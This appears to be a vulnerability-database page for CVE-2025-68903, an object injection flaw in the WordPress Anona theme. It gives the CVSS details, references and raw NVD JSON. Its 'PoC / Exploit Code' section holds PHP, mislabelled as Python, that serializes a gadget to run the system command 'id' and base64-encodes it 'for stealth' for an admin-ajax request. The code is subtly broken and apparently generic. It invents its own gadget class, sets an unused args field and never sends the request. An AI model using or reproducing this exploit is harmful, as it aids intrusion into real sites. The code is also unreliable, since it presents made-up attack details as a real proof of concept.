CVE-2025-68903

Description

Deserialization of Untrusted Data vulnerability in AivahThemes Anona anona allows Object Injection.This issue affects Anona: from n/a through <= 8.0.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Anona Theme <= 8.0

WordPress (all versions when using Anona theme)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-68903 PoC - Anona Theme PHP Object Injection
 * Target: WordPress Anona Theme <= 8.0
 * Type: Unserialize vulnerability leading to RCE
 */

// Gadget chain for PHP Object Injection
class AnonaGadget {
    public $callback;
    
    function __wakeup() {
        if (isset($this->callback)) {
            call_user_func($this->callback);
        }
    }
}

// Generate malicious serialized payload
$payload = new AnonaGadget();
$payload->callback = 'system';
$payload->args = ['id']; // Will execute 'id' command

$exploit = serialize($payload);
echo "Encoded Payload: " . urlencode($exploit) . "\n";

// Alternative: Using base64 encoding for stealth
$base64_payload = base64_encode($exploit);
echo "Base64 Payload: " . $base64_payload . "\n";

// Example HTTP request construction
$target = 'http://target-site.com/wp-admin/admin-ajax.php';
$data = [
    'action' => 'anona_ajax_action',
    'data' => $base64_payload
];

// Note: This PoC is for educational and security research purposes only
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68903/
[4] VulDB https://vuldb.com/cve/CVE-2025-68903
[5] https://patchstack.com/database/Wordpress/Theme/anona/vulnerability/wordpress-anona-theme-8-0-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68903", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:14.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in AivahThemes Anona anona allows Object Injection.This issue affects Anona: from n/a through <= 8.0."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en AivahThemes Anona anona permite la inyección de objetos. Este problema afecta a Anona: desde n/a hasta <= 8.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/anona/vulnerability/wordpress-anona-theme-8-0-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}